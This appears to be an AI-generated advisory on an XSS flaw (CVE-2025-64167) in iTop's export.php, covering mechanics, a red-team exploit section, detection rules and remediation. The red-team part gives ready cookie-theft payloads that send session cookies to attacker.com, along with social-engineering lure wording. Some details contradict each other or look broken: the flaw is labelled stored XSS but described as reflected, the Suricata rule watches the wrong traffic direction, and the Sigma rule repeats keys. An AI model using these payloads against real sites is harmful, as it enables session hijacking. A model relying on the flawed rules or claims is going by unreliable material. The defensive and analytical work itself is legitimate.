CVE-2025-64167

Executive Summary

CVE-2025-64167 is a stored Cross-Site Scripting (XSS) vulnerability in Combodo iTop, an open-source IT Service Management (ITSM) web application. The flaw exists in the deprecated export.php script, which fails to properly sanitize the URL parameter during export operations. An authenticated attacker with low privileges can inject malicious JavaScript code into the URL parameter. When a victim (such as an administrator) views the exported data or interacts with the crafted URL, the injected script executes in the context of their browser session. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. The vulnerability affects all iTop versions prior to 2.7.13 and 3.2.2. The official patch removes the vulnerable export.php entirely, replacing it with the secure export-v2.php.

Supply Chain & Package Security

iTop is a PHP-based web application distributed as a ZIP archive or via Git. There is no NPM, PyPI, Go, or Ruby package involved. The supply chain risk is limited to the integrity of the official download source (GitHub or Combodo website). Users should verify checksums and signatures when downloading updates.

CVSS Breakdown & Threat Level

CVSS Score: 7.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low – An attacker needs a valid low-privileged iTop account.
• User Interaction (UI): Required – The victim must click on a crafted link or view the exported data.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: High. While the EPSS score is currently 0.0%, the vulnerability is trivial to exploit once an attacker has a low-privileged account. The widespread use of iTop in enterprise IT environments increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the export.php script, which was used to export iTop data (e.g., tickets, configurations) to various formats (CSV, PDF, etc.). The script accepts a URL parameter intended for redirecting the user after the export is complete. However, this parameter is not sanitized or encoded before being reflected in the HTTP response.

Attack Flow:

1. An attacker with a low-privileged iTop account crafts a malicious URL: https://target.itop/pages/export.php?url=javascript:alert(document.cookie)
2. The attacker sends this link to a victim (e.g., via email or a chat message).
3. The victim, who is authenticated to iTop, clicks the link.
4. The export.php script processes the request and includes the unsanitized url parameter in the response (e.g., in a meta refresh tag or a JavaScript redirect).
5. The victim's browser executes the injected JavaScript, which can steal session cookies, perform actions on behalf of the victim, or deface the page.

The root cause is the lack of output encoding and the use of a deprecated script that was not updated to follow secure coding practices. The patched versions remove export.php entirely and use export-v2.php, which does not accept a user-controlled URL parameter.

Vulnerable vs. Patched Code

Vulnerable Code (export.php - simplified):

<?php
// ...
$url = $_GET['url'];
// No sanitization or encoding
echo "<meta http-equiv='refresh' content='0;url=$url'>";
// ...
?>

Patched Code (export-v2.php - simplified):

<?php
// ...
// No URL parameter is accepted or reflected
// Export is handled via POST or internal redirects only
// ...
?>

The patch removes the entire export.php file. The new export-v2.php does not accept a url parameter and uses secure internal redirects.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A low-privileged iTop account (e.g., "Support Agent" role).
• A victim who is logged into iTop and will click a link.

Exploit Steps:

1. Craft the malicious URL:

   https://target.itop/pages/export.php?url=javascript:fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)
   

2. Send this link to the victim via social engineering (e.g., "Please click here to export the ticket report").
3. When the victim clicks, their browser executes the JavaScript, sending their session cookie to the attacker's server.
4. The attacker can then use the stolen cookie to hijack the victim's session.

Example Payload (Session Hijacking):

javascript:new Image().src='https://attacker.com/steal?c='+document.cookie

Note: No public exploit code (Exploit-DB) or Nuclei template is available at this time.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /pages/export.php containing a url parameter with suspicious content (e.g., javascript:, data:, vbscript:).
• Look for unusual referrer headers or user-agent strings.
• Use a Web Application Firewall (WAF) to block requests to export.php with a url parameter.

Hunting:

• Search for any recent access to export.php in logs.
• Check for unexpected outbound connections from the iTop server (e.g., to attacker-controlled domains).
• Review iTop user accounts for signs of compromise (e.g., unexpected privilege escalation).

Lab Setup:

• Deploy a vulnerable iTop instance (version < 2.7.13 or < 3.2.2) in a sandboxed environment.
• Create a low-privileged user and a victim user (admin).
• Use a browser developer console to simulate the attack.
• Monitor network traffic with Wireshark or Burp Suite.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /pages/export.php with a url parameter containing javascript:, data:, or base64-encoded payloads.
  • Outbound connections to unknown IPs or domains from the iTop server.
• Host:
  • Unexpected files in the iTop pages/ directory (e.g., renamed copies of export.php).
  • Modified .htaccess or web server config files.
• Logs:
  • Web server access logs showing export.php?url=... with non-standard URL schemes.
  • Application logs showing errors related to export.php.

Detection Engineering

YARA Rule

rule CVE_2025_64167_iTop_XSS {
    meta:
        description = "Detects malicious requests targeting CVE-2025-64167 in iTop export.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64167"
    strings:
        $export_php = "/pages/export.php" nocase
        $url_param = "url=" nocase
        $js_payload = /url=javascript:/i
        $data_payload = /url=data:/i
    condition:
        $export_php and $url_param and ($js_payload or $data_payload)
}

Sigma Rule

title: CVE-2025-64167 iTop export.php XSS Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-64167 by sending malicious URL parameter to export.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/pages/export.php'
        cs-uri-query|contains: 'url='
        cs-uri-query|contains|windash: 
            - 'javascript:'
            - 'data:'
    condition: selection
falsepositives:
    - Legitimate use of URL parameter (unlikely in patched versions)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64167 iTop export.php XSS Attempt";
    flow:to_server,established;
    content:"/pages/export.php"; http_uri;
    content:"url="; http_uri;
    pcre:"/url=(javascript|data):/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-64167;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade iTop to version 2.7.13 or 3.2.2 (or later). This removes the vulnerable export.php.
2. If immediate upgrade is not possible, block access to export.php via web server configuration:
   • Apache: RedirectMatch 403 ^/.*/pages/export\.php
   • Nginx: location ~* /pages/export\.php { deny all; }
3. Review user accounts for any signs of compromise.
4. Rotate all session cookies and force re-authentication for all users.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Conduct regular security audits of custom iTop extensions.
• Enforce the principle of least privilege for iTop user roles.
• Monitor for deprecated scripts and ensure they are removed during upgrades.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.